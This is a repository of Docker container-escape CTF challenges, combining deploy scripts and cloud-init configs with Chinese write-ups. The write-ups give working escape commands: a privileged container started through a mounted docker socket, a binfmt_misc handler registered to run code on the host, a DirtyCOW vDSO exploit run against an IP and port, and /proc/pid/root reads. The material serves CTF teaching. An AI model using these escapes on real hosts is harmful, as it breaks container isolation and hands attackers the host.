├── Be-a_docker-Escaper-HW ├── deploy │ ├── Dockerfile │ └── user-data └── README.md ├── README.md ├── Be-a-Docker-Escaper ├── deploy │ ├── user-data │ └── Dockerfile └── README.md ├── Be-a-Docker-Escaper-4 ├── README.md └── deploy │ ├── Dockerfile │ └── user-data ├── Be-a-Docker-Escaper-2 ├── deploy │ ├── user-data │ └── Dockerfile └── README.md ├── Be-a-Docker-Escaper-3 ├── README.md └── deploy │ ├── Dockerfile │ └── user-data └── LICENSE /Be-a_docker-Escaper-HW/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Be-a_docker-Escaper-HW/deploy/user-data: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Be-a-Docker-Escaper 2 | The container escape challenge of Be A RWCTFer competition (https://be-a-rwctfer.realworldctf.com/) 3 | 4 | ## 2022 Be-a-Docker-Escaper 5 | 使用-v 将docker daemon socket映射到了容器中, 因此我们看可以通过 socket 控制容器外的docker, 直接使用-v映射flag或者启动特权容器逃逸即可 6 | 7 | ## 2023 Be-a-Docker-Escaper-2 8 | 通过 binfmt 来逃逸容器 9 | 10 | ## 2023 Be-a-Docker-Escaper-3 11 | 通过内核漏洞来逃逸容器 12 | 13 | ## 2024 Be-a-Docker-Escaper-4 14 | 容器共享了 pid namespace 情景下的容器逃逸 15 | 16 | ## 2024 Be-a-Docker-Escaper-HW 17 | 拥有 `sys_admin` 权限但是没有 `mount` 权限的容器逃逸 -------------------------------------------------------------------------------- /Be-a_docker-Escaper-HW/README.md: -------------------------------------------------------------------------------- 1 | 2 | ## Writeup 3 | 预期思路是, 当选手登陆到容器中后, 会发现这是一个拥有 `sys_admin`权限的 4 | 5 | ``` 6 | $ capsh --decode=00000000a82425fb 7 | 0x00000000a82425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_admin,cap_mknod,cap_audit_write,cap_setfcap 8 | ``` 9 | 10 | 11 | 12 | 通常 `sys_admin` 权限我们会通过 mount `cgroup` 之类的方法来逃逸容器,但是在该题目环境下,会发现并没有权限进行 mount , 因此我们需要去寻找其他的思路。 13 | 14 | 15 | 16 | 通过搜索引擎搜索关键词 `container escaper 、 sys_admin`, 我们可以查找到一些相关的资料 ^[2] ^[3] 17 | 18 | 因此,我们发现我们可以通过 ebpf 劫持 cron 来逃逸容器。 我们搜索 `ebpf container` escaper 可以获取一些现有的利用工具,或者自己编写一个利用工具。例如下面的链接进行直接使用或者相关魔改都能获取 flag 19 | 20 | 参考的exploit ^[4] ^[5] 21 | 22 | ## Reference Link 23 | [1]: ./deploy "题目部署脚本" 24 | [2]: https://www.usenix.org/system/files/sec23_slides_he.pdf 25 | [3]: https://hackmd.io/@ebpf/ry428EZGo 26 | [4]: https://github.com/bfengj/eBPFeXPLOIT/blob/main/README.zh-cn.md 27 | [5]: https://github.com/TomAPU/bpfcronescape 28 | 29 | -------------------------------------------------------------------------------- /Be-a-Docker-Escaper/deploy/user-data: -------------------------------------------------------------------------------- 1 | #cloud-config 2 | apt: 3 | primary: 4 | - arches: [default] 5 | uri: http://mirrors.aliyun.com/ubuntu/ 6 | search: 7 | - http://mirrors.aliyun.com/ubuntu/ 8 | 9 | packages: 10 | - docker.io 11 | - openssh-server 12 | 13 | groups: 14 | - docker 15 | 16 | users: 17 | - name: container 18 | groups: docker 19 | shell: /home/container/run.sh 20 | 21 | write_files: 22 | - content: | 23 | #!/bin/bash 24 | docker run -i -m 128m -v /var/run/docker.sock:/s ubuntu # You are here! 25 | path: /home/container/run.sh 26 | permissions: "0755" 27 | - content: | 28 | rwctf{THIS_IS_A_TEST_FLAG} 29 | permissions: "0000" 30 | path: /root/flag 31 | - content: | 32 | { 33 | "registry-mirrors": ["https://docker.mirrors.ustc.edu.cn"] 34 | } 35 | path: /etc/docker/daemon.json 36 | 37 | runcmd: 38 | - docker pull ubuntu 39 | 40 | power_state: 41 | delay: "now" 42 | mode: poweroff 43 | message: Bye Bye 44 | timeout: 30 45 | condition: True 46 | -------------------------------------------------------------------------------- /Be-a-Docker-Escaper-4/README.md: -------------------------------------------------------------------------------- 1 | ## About 2 | 3 | 这是2024年第六届RWCTF体验赛的容器逃逸题目 4 | 5 | ## Description of the challenge 6 | 7 | Pwn, difficulty:Normal 8 | 9 | Escape, Escape, Escape, Escape ! 10 | 11 | `nc 47.96.250.76 6666` 12 | 13 | ## Witeup 14 | 15 | 这个题目的出题思路来自于这篇[文章][1]。选手成功通过 ssh 成功连接上环境后,会发现这是一个容器环境,而且通过 `ps -aux` 命令能看到这个容器的启动命令: 16 | 17 | ```bash 18 | 1000 1113 0.0 0.0 6188 992 pts/0 S+ 06:25 0:00 sleep 10000 19 | 1000 1114 0.0 2.3 1180376 23264 pts/0 Sl+ 06:25 0:00 docker run --rm -it --pid=host --security-opt=apparmor=unconfined ubuntu bash 20 | ``` 21 | 22 | 可以发现该容器共享了 pid, 因此能通过 ps命令看到容器外的进程。此外还有一个 uid 为 1000 的 sleep 进程。 预期解法如下: 23 | 24 | ```bash 25 | #!/bin/sh 26 | 27 | pid=$(pidof sleep) 28 | groupadd -g 1001 user 29 | useradd -m -g 1001 -u 1000 user 30 | 31 | su user -c "cat /proc/$pid/root/flag1" 32 | 33 | 创建一个 uid 为 1000 的用户, 然后通过读 sleep 进程下的 /proc/$PID/root 的文件就能读到 flag 34 | ``` 35 | 36 | ## Deploy 37 | 38 | 题目部署脚本相关可以参考 [deploy][2] 文件夹 39 | 40 | ## Reference Link 41 | 42 | [1]: https://www.anquanke.com/post/id/290540 "一个未公开的容器逃逸方式" 43 | [2]: ./deploy "题目部署脚本" 44 | -------------------------------------------------------------------------------- /Be-a-Docker-Escaper/README.md: -------------------------------------------------------------------------------- 1 | ## About 2 | 3 | 这是2022年第三届RWCTF体验赛的容器逃逸题目, 题目作者是 [zh-explorer][1] 4 | 5 | ## Description of the challenge 6 | 7 | Do you want to be a docker escaper? So you need to be patient. It takes minutes for me to get a docker ready for you. I can’t make it faster without kvm, but I think you can do it locally. 8 | from: SpaceSkyNet 9 | 10 | ## Weriteup 11 | 12 | 仔细观察user-data中的docker启动命令 13 | 14 | ```bash 15 | docker run -i -m 128m -v /var/run/docker.sock:/s 16 | ``` 17 | 18 | 使用-v 将docker daemon socket映射到了容器中, 因此我们看可以通过 socket 控制容器外的docker, 直接使用-v映射flag或者启动特权容器逃逸即可 19 | 20 | ```bash 21 | sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.aliyun.com/g" /etc/apt/sources.list 22 | sed -i "s/http:\/\/security.ubuntu.com/http:\/\/mirrors.aliyun.com/g" /etc/apt/sources.list 23 | apt update 24 | DEBIAN_FRONTEND="noninteractive" apt-get -y install docker.io 25 | docker -H unix:///s run -i --privileged ubuntu bash 26 | mkdir /tmp/a 27 | mount /dev/sda1 /tmp/a 28 | chmod 777 /tmp/a/root/flag 29 | cat /tmp/a/root/flag 30 | ``` 31 | 32 | ## Deploy 33 | 34 | 题目部署脚本相关可以参考 [deploy][2] 文件夹 35 | 36 | ## Reference Link 37 | 38 | [1]: https://github.com/zh-explorer 39 | [2]: ./deploy "题目部署脚本" 40 | 41 | 42 | -------------------------------------------------------------------------------- /Be-a-Docker-Escaper-2/deploy/user-data: -------------------------------------------------------------------------------- 1 | #cloud-config 2 | apt: 3 | primary: 4 | - arches: [default] 5 | uri: http://mirrors.aliyun.com/ubuntu/ 6 | search: 7 | - http://mirrors.aliyun.com/ubuntu/ 8 | 9 | packages: 10 | - docker.io 11 | - openssh-server 12 | 13 | groups: 14 | - docker 15 | 16 | users: 17 | - name: container 18 | groups: docker 19 | shell: /home/container/run.sh 20 | 21 | ssh_pwauth: true 22 | chpasswd: 23 | expire: false 24 | users: 25 | - name: container 26 | password: rwctf@passwd 27 | type: text 28 | 29 | write_files: 30 | - content: | 31 | #!/bin/bash 32 | docker run -it -m 128m -v /proc/sys/fs/binfmt_misc/:/binfmt_misc ubuntu bash # You are here! 33 | path: /home/container/run.sh 34 | permissions: "0755" 35 | - content: | 36 | rwctf{THIS_IS_A_TEST_FLAG} 37 | permissions: "0000" 38 | path: /root/flag 39 | - content: | 40 | { 41 | "registry-mirrors": ["https://docker.mirrors.ustc.edu.cn"] 42 | } 43 | path: /etc/docker/daemon.json 44 | 45 | runcmd: 46 | - docker pull ubuntu 47 | 48 | power_state: 49 | delay: "now" 50 | mode: poweroff 51 | message: Bye Bye 52 | timeout: 30 53 | condition: True -------------------------------------------------------------------------------- /Be-a-Docker-Escaper-4/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.04 2 | 3 | RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.aliyun.com/g" /etc/apt/sources.list && \ 4 | sed -i "s/http:\/\/security.ubuntu.com/http:\/\/mirrors.aliyun.com/g" /etc/apt/sources.list 5 | 6 | RUN apt-get update && \ 7 | apt-get -y dist-upgrade 8 | 9 | RUN DEBIAN_FRONTEND="noninteractive" apt-get -y install tzdata ca-certificates wget qemu-system cloud-image-utils python3 10 | RUN mkdir /home/chall 11 | 12 | WORKDIR /home/chall 13 | 14 | RUN wget https://cloud-images.ubuntu.com/releases/22.04/release-20221214/ubuntu-22.04-server-cloudimg-amd64.img 15 | COPY ./user-data /home/chall/ 16 | RUN cloud-localds user-data.img user-data && \ 17 | qemu-img resize ubuntu-22.04-server-cloudimg-amd64.img +20G 18 | 19 | #apply cloud-init 20 | RUN qemu-system-x86_64 \ 21 | -drive "file=ubuntu-22.04-server-cloudimg-amd64.img,format=qcow2" \ 22 | -drive "file=user-data.img,format=raw" \ 23 | -nic user,model=virtio \ 24 | -m 4G \ 25 | -smp 4 \ 26 | -nographic 27 | 28 | EXPOSE 5555 29 | 30 | CMD qemu-system-x86_64 \ 31 | -drive "file=ubuntu-22.04-server-cloudimg-amd64.img,format=qcow2" \ 32 | -m 1G \ 33 | -nic user,model=virtio,hostfwd=tcp:0.0.0.0:5555-:22 \ 34 | -smp 2 \ 35 | -nographic \ 36 | --enable-kvm \ 37 | -monitor null -------------------------------------------------------------------------------- /Be-a-Docker-Escaper-2/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.04 2 | 3 | RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.aliyun.com/g" /etc/apt/sources.list && \ 4 | sed -i "s/http:\/\/security.ubuntu.com/http:\/\/mirrors.aliyun.com/g" /etc/apt/sources.list 5 | 6 | RUN apt-get update && \ 7 | apt-get -y dist-upgrade 8 | 9 | RUN DEBIAN_FRONTEND="noninteractive" apt-get -y install tzdata ca-certificates wget qemu-system cloud-image-utils python3 10 | 11 | RUN mkdir /home/chall 12 | 13 | WORKDIR /home/chall 14 | 15 | RUN wget https://cloud-images.ubuntu.com/releases/22.04/release-20221214/ubuntu-22.04-server-cloudimg-amd64.img 16 | 17 | COPY ./user-data /home/chall/ 18 | 19 | RUN cloud-localds user-data.img user-data && \ 20 | qemu-img resize ubuntu-22.04-server-cloudimg-amd64.img +20G 21 | 22 | #apply cloud-init 23 | 24 | RUN qemu-system-x86_64 \ 25 | -drive "file=ubuntu-22.04-server-cloudimg-amd64.img,format=qcow2" \ 26 | -drive "file=user-data.img,format=raw" \ 27 | -nic user,model=virtio \ 28 | -m 4G \ 29 | -smp 4 \ 30 | -nographic 31 | 32 | EXPOSE 5555 33 | 34 | CMD qemu-system-x86_64 \ 35 | -drive "file=ubuntu-22.04-server-cloudimg-amd64.img,format=qcow2" \ 36 | -m 1G \ 37 | -nic user,model=virtio,hostfwd=tcp:0.0.0.0:5555-:22 \ 38 | -smp 2 \ 39 | -nographic \ 40 | -monitor null 41 | -------------------------------------------------------------------------------- /Be-a-Docker-Escaper/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.04 2 | 3 | RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.aliyun.com/g" /etc/apt/sources.list && \ 4 | sed -i "s/http:\/\/security.ubuntu.com/http:\/\/mirrors.aliyun.com/g" /etc/apt/sources.list 5 | 6 | RUN apt-get update && \ 7 | apt-get -y dist-upgrade 8 | 9 | RUN DEBIAN_FRONTEND="noninteractive" apt-get -y install tzdata ca-certificates wget qemu-system cloud-image-utils python3 10 | 11 | RUN mkdir /home/chall 12 | 13 | WORKDIR /home/chall 14 | 15 | RUN wget http://cloud-images.ubuntu.com/focal/current/focal-server-cloudimg-amd64.img 16 | 17 | COPY ./user-data /home/chall/ 18 | COPY ./check.py /home/chall/ 19 | 20 | RUN cloud-localds user-data.img user-data && \ 21 | qemu-img resize focal-server-cloudimg-amd64.img +20G 22 | 23 | #apply cloud-init 24 | 25 | RUN qemu-system-x86_64 \ 26 | -drive "file=focal-server-cloudimg-amd64.img,format=qcow2" \ 27 | -drive "file=user-data.img,format=raw" \ 28 | -device rtl8139,netdev=net0 \ 29 | -m 8G \ 30 | -netdev user,id=net0 \ 31 | -smp 4 \ 32 | -nographic 33 | 34 | EXPOSE 5555 35 | 36 | CMD qemu-system-x86_64 \ 37 | -drive "file=focal-server-cloudimg-amd64.img,format=qcow2" \ 38 | -device rtl8139,netdev=net0 \ 39 | -m 1G \ 40 | -netdev user,id=net0,hostfwd=tcp::5555-:22 \ 41 | -smp 2 \ 42 | -nographic 43 | -------------------------------------------------------------------------------- /Be-a-Docker-Escaper-3/README.md: -------------------------------------------------------------------------------- 1 | ## About 2 | 3 | 这是2023年第五届RWCTF体验赛的容器逃逸的其中一个题目, 题目作者是 [zh-explorer][1] 4 | 5 | ## Description of the challenge 6 | 7 | ## Weriteup 8 | 首先查看内核版本。可以发现是一个比较旧的内核版本 9 | 10 | 再结合题目描述和名字,可以知道这题应该需要使用CVE-2016-5195也就是著名的DirtyCOW漏洞来进行容器逃逸。 11 | 12 | 想要使用DirtyCOW进行容器逃逸。需要使用DirtyCOW-VDSO的利用方式,也就是通过DirtyCOW覆盖VDSO数据来实现对容器的逃逸。 13 | 14 | 但是现有的最著名的vdso逃逸利用https://github.com/scumjr/dirtycow-vdso存在以下两个问题: 15 | 16 | 1. 该利用使用的ptrace方式来实现对VDSO内存的修改触发COW。但是新版本docker默认禁止ptrace。 17 | 2. 该利用对vdso的patch选择的位置在ubuntu的内核里触发不了。需要换个一patch点。 18 | 本着不能只有自己被坑的原则,出了这题。 19 | 需要将原来的ptrace利用方式换回/proc/self/mem利用并且更换触发点。或者不想改也可以重写一遍DirtyCOW利用即可。利用参考https://github.com/zh-explorer/dirtycow.git。利用流程如下: 20 | 21 | ```bash 22 | pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pyelftools 23 | git clone https://github.com/zh-explorer/dirtycow.git 24 | cd dirtycow 25 | mkdir build 26 | cd build 27 | cmake .. 28 | make 29 | ./dirtycow {IP} 31337 30 | ``` 31 | 32 | 33 | 34 | ![img](https://alidocs.oss-cn-zhangjiakou.aliyuncs.com/res/w5VLqXgzQVKxnX19/img/58f35648-e589-4117-82ba-258a554deea4.png) 35 | 36 | 37 | 38 | ![img](https://alidocs.oss-cn-zhangjiakou.aliyuncs.com/res/w5VLqXgzQVKxnX19/img/2feeffe4-f727-4c62-b499-f03f97372396.png) 39 | 40 | ## Deploy 41 | 42 | 题目部署脚本相关可以参考 [deploy][2] 文件夹 43 | 44 | 45 | ## Reference Link 46 | 47 | [1]: https://github.com/zh-explorer 48 | [2]: ./deploy "题目部署脚本" 49 | -------------------------------------------------------------------------------- /Be-a-Docker-Escaper-4/deploy/user-data: -------------------------------------------------------------------------------- 1 | #cloud-config 2 | apt: 3 | primary: 4 | - arches: [default] 5 | uri: http://mirrors.aliyun.com/ubuntu/ 6 | search: 7 | - http://mirrors.aliyun.com/ubuntu/ 8 | 9 | packages: 10 | - docker.io 11 | - openssh-server 12 | 13 | groups: 14 | - docker 15 | 16 | users: 17 | - name: container 18 | groups: docker 19 | shell: /home/container/run.sh 20 | - name: user 21 | shell: /bin/bash 22 | 23 | ssh_pwauth: true 24 | chpasswd: 25 | expire: false 26 | users: 27 | - name: container 28 | password: rwctf@passwd 29 | type: text 30 | - name: user 31 | password: rwctf{Do you know? cloud-init may leak sensitive information} 32 | type: text 33 | 34 | write_files: 35 | - content: | 36 | #!/bin/bash 37 | sleep 10000 & 38 | docker run --rm -it --pid=host --security-opt="apparmor=unconfined" ubuntu bash 39 | path: /home/container/run.sh 40 | permissions: "0755" 41 | - content: | 42 | rwctf{Escaping-a-dokcer-throught-shared-PID-aa8dfbd4-f3bd-4c10} 43 | permissions: "0000" 44 | path: /flag1 45 | - content: | 46 | { 47 | "registry-mirrors": ["https://docker.mirrors.ustc.edu.cn"] 48 | } 49 | path: /etc/docker/daemon.json 50 | 51 | runcmd: 52 | - docker pull ubuntu 53 | 54 | power_state: 55 | delay: "now" 56 | mode: poweroff 57 | message: Bye Bye 58 | timeout: 30 59 | condition: True -------------------------------------------------------------------------------- /Be-a-Docker-Escaper-3/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | From ubuntu:20.04 2 | 3 | RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.aliyun.com/g" /etc/apt/sources.list && \ 4 | sed -i "s/http:\/\/security.ubuntu.com/http:\/\/mirrors.aliyun.com/g" /etc/apt/sources.list 5 | 6 | RUN apt-get update && \ 7 | apt-get -y dist-upgrade 8 | 9 | RUN DEBIAN_FRONTEND="noninteractive" apt-get -y install tzdata ca-certificates wget qemu-system cloud-image-utils python3 10 | 11 | RUN mkdir /home/test 12 | 13 | WORKDIR /home/test 14 | 15 | RUN wget http://cloud-images-archive.ubuntu.com/releases/xenial/release-20160610/ubuntu-16.04-server-cloudimg-amd64-disk1.img 16 | 17 | COPY ./user-data /home/test/ 18 | COPY ./check.py /home/test/ 19 | 20 | RUN cloud-localds user-data.img user-data && \ 21 | qemu-img resize ubuntu-16.04-server-cloudimg-amd64-disk1.img +20G 22 | 23 | #apply cloud-init 24 | 25 | RUN qemu-system-x86_64 \ 26 | -drive "file=ubuntu-16.04-server-cloudimg-amd64-disk1.img,format=qcow2" \ 27 | -drive "file=user-data.img,format=raw" \ 28 | -device rtl8139,netdev=net0 \ 29 | -m 2G \ 30 | -netdev user,id=net0 \ 31 | -smp 4 \ 32 | -nographic 33 | 34 | EXPOSE 5555 35 | 36 | CMD qemu-system-x86_64 \ 37 | -drive "file=ubuntu-16.04-server-cloudimg-amd64-disk1.img,format=qcow2" \ 38 | -drive "file=user-data.img,format=raw" \ 39 | -device rtl8139,netdev=net0 \ 40 | -m 2G \ 41 | --enable-kvm \ 42 | -netdev user,id=net0,hostfwd=tcp::5555-:22 \ 43 | -smp 4 \ 44 | -nographic -------------------------------------------------------------------------------- /Be-a-Docker-Escaper-3/deploy/user-data: -------------------------------------------------------------------------------- 1 | #cloud-config 2 | apt: 3 | primary: 4 | - arches: 5 | - amd64 6 | - default 7 | uri: 'http://mirrors.aliyun.com/ubuntu/' 8 | search: 9 | - 'http://mirrors.aliyun.com/ubuntu/' 10 | 11 | security: 12 | - arches: 13 | - amd64 14 | - default 15 | uri: 'http://mirrors.aliyun.com/ubuntu/' 16 | search: 17 | - 'http://mirrors.aliyun.com/ubuntu/' 18 | 19 | timezone: Asia/Shanghai 20 | 21 | packages: 22 | - docker.io 23 | - openssh-server 24 | 25 | groups: 26 | - docker 27 | 28 | users: 29 | - name: container 30 | groups: docker 31 | shell: /home/container/run.sh 32 | 33 | write_files: 34 | - content: | 35 | #!/bin/bash 36 | docker run -i --rm -m 128m escape # You are here! 37 | path: /home/container/run.sh 38 | permissions: "0755" 39 | - content: | 40 | rwctf{0ld_schO0l_d1rtycow_vdsO_3xpl01t} 41 | permissions: "0000" 42 | path: /root/flag 43 | - content: | 44 | { 45 | "registry-mirrors": ["https://docker.mirrors.ustc.edu.cn"] 46 | } 47 | path: /etc/docker/daemon.json 48 | - content: | 49 | FROM ubuntu:20.04 50 | RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.aliyun.com/g" /etc/apt/sources.list && \ 51 | sed -i "s/http:\/\/security.ubuntu.com/http:\/\/mirrors.aliyun.com/g" /etc/apt/sources.list 52 | 53 | RUN apt-get update && \ 54 | apt-get -y dist-upgrade 55 | 56 | RUN DEBIAN_FRONTEND="noninteractive" apt-get -y install tzdata 57 | 58 | RUN apt-get install -y build-essential git cmake gcc python3 python3-pip 59 | CMD ["bash"] 60 | path: /home/container/escape/Dockerfile 61 | 62 | runcmd: 63 | - docker build -t escape /home/container/escape 64 | 65 | power_state: 66 | delay: "now" 67 | mode: poweroff 68 | message: Bye Bye 69 | timeout: 30 70 | condition: True -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The Star And Thank Author License (SATA) 2 | Version 2.0, April 2021 3 | 4 | Copyright © 2014 zTrix(i@ztrix.me) kongtianyi(kongtianyi@foxmail.com) 5 | 6 | Project Url: https://github.com/zTrix/sata-license 7 | https://github.com/kongtianyi/sata-license 8 | 9 | Permission is hereby granted, free of charge, to any person obtaining a copy 10 | of this software and associated documentation files (the "Software"), to deal 11 | in the Software without restriction, including without limitation the rights 12 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 13 | copies of the Software, and to permit persons to whom the Software is 14 | furnished to do so, subject to the following conditions: 15 | 16 | The above copyright notice and this permission notice shall be included in 17 | all copies or substantial portions of the Software. 18 | 19 | And wait, the most important, you should star/+1/like the project(s) in project url 20 | section above first, and then thank the author(s) in Copyright section. 21 | 22 | Here are some suggested ways: 23 | 24 | - Email the authors a thank-you letter, and make friends with him/her/them. 25 | - Report bugs or issues. 26 | - Tell friends what a wonderful project this is. 27 | - And, sure, you can just express thanks in your mind without telling the world. 28 | 29 | Contributors of this project by forking have the option to add his/her name and 30 | forked project url at copyright and project url sections, but shall not delete 31 | or modify anything else in these two sections. 32 | 33 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 34 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 35 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 36 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 37 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 38 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 39 | THE SOFTWARE. -------------------------------------------------------------------------------- /Be-a-Docker-Escaper-2/README.md: -------------------------------------------------------------------------------- 1 | ## About 2 | 3 | 这是2023年第五届RWCTF体验赛的容器逃逸的其中一个题目 4 | 5 | ## Description of the challenge 6 | 7 | `nc 47.98.99.193 7777 ` 8 | 9 | [attachment](https://rwctf-eval-attachment.oss-cn-hangzhou.aliyuncs.com/Be-a-Docker-Escaper-2_70189456877f33cf3e6ca938b5cdf82f.zip) 10 | 11 | ## Weriteup 12 | 13 | 该题目的思路来自于一篇 [slide][1] , 选手通过 ssh 获取题目 shell 后, 可以发现是在容器环境中。 仔细看根目录可以看到容器环境将 HOST 的 /proc/sys/fs/binfmt_misc/ 目录映射到了容器的 /binfmt_misc。 14 | 15 | 通过了解资料知道 Linux内核有一个名为Miscellaneous Binary Format(binfmt_misc)的机制,可以通过要打开文件的特性来选择到底使用哪个程序来打开。这种机制可以通过文件的扩展名或文件开始位置的特殊的字节(Magic Byte)来判断应该如何打开文件。 16 | 17 | 其 binfmt 的格式如下: 18 | 19 | ``` 20 | name:type:offset:magic:mask:interpreter:flags 21 | ``` 22 | 23 | 这个配置中每个字段都用冒号 : 分割,某些字段拥有默认值可以跳过,但是必须保留相应的冒号分割符。 24 | 各个字段的意义如下: 25 | 26 | * name:规则名 27 | * type:表示如何匹配被打开的文件,值为 E 或 M 。E 表示根据扩展名识别,而 M 表示根据文件特定位置的Magic Bytes来识别 28 | * offset:type字段设置成 M 之后有效,表示查找Magic Bytes的偏移,默认为0 29 | * magic:表示要匹配的Magic Bytes,type字段为 M 时,表示文件的扩展名,扩展名是大小写敏感的,不需要包含 .。type字段为 E 时,表示Magic Bytes,其中不可见字符可以通过 \xff 的方式来输出 30 | * mask:type字段设置成 M 之后有效,长度与Magic Bytes的长度一致。如果某一位为1,表magic对应的位匹配,为0则忽略。默认为全部匹配 31 | * interpreter:启动文件的程序,需要是绝对路径 32 | * flags: 可选字段,控制interpreter打开文件的行为。共支持 POCF 四种flag。 33 | 34 | 因此我们可以注册一个自己的 binfmt, 然后让其 HOST 执行相应的文件,就可以完成逃逸。关键是如何在 HOST 执行相应的文件。观察出题人给的条件, 出题人给了 ssh 登陆的途径。 35 | 我们通过 strace sshd 进程 , 我们会发现 sshd 服务当有 ssh 尝试连接的时候会执行一些 bash 脚本,例如`etc/update-motd.d/00-header` 36 | 37 | ![img](https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-02-02-56039af0e5542900724814fd7490e4b0-6fc748.png) 38 | 39 | 可以看到这个文件是个 bash 脚本 40 | 41 | ![img](https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-02-02-610c82deef5bb44b4a23f4875da793ad-eb7859.png) 42 | 43 | 至此打通了逃逸的路径, 完整利用过程: 44 | 45 | 1. 首先注册一个自己的 binfmt 46 | 47 | ```bash 48 | echo ":test:M::\x23\x21\x2f\x62\x69\x6e\x2f\x73\x68::/var/lib/docker/overlay2/$overlay/diff/tmp/exploit:" > /binfmt_misc/register 49 | ``` 50 | 51 | 例如上一条语句,即为注册一个名 test, magic 为 `#!/bin/sh` , interpreter位于 `/var/lib/docker/overlay2/$overlay/diff/tmp/exploit` 的 binfmt ,其中 `overlay2` 我们可以在 docker 中使用 mount 命令来获取 52 | 53 | 2. 往 `/var/lib/docker/overlay2/$overlay/diff/tmp/exploit` 写入我们要执行的命令 54 | 55 | ```bash 56 | echo '#!/bin/bash' > /tmp/exploit 57 | echo "docker cp /root/flag $container:/tmp/" >> /tmp/exploit 58 | chmod 777 /tmp/exploit 59 | ``` 60 | 61 | 3. 最后再使用 ssh 登陆一次即可获取 flag 62 | 63 | ## Deploy 64 | 65 | 题目部署脚本相关可以参考 [deploy][2] 文件夹 66 | 67 | 68 | ## Reference Link 69 | 70 | [1]: https://github.com/knownsec/KCon/blob/master/2021/Container%20escape%20in%202021.pdf "Container escape in 2021" 71 | [2]: ./deploy "题目部署脚本" 72 | --------------------------------------------------------------------------------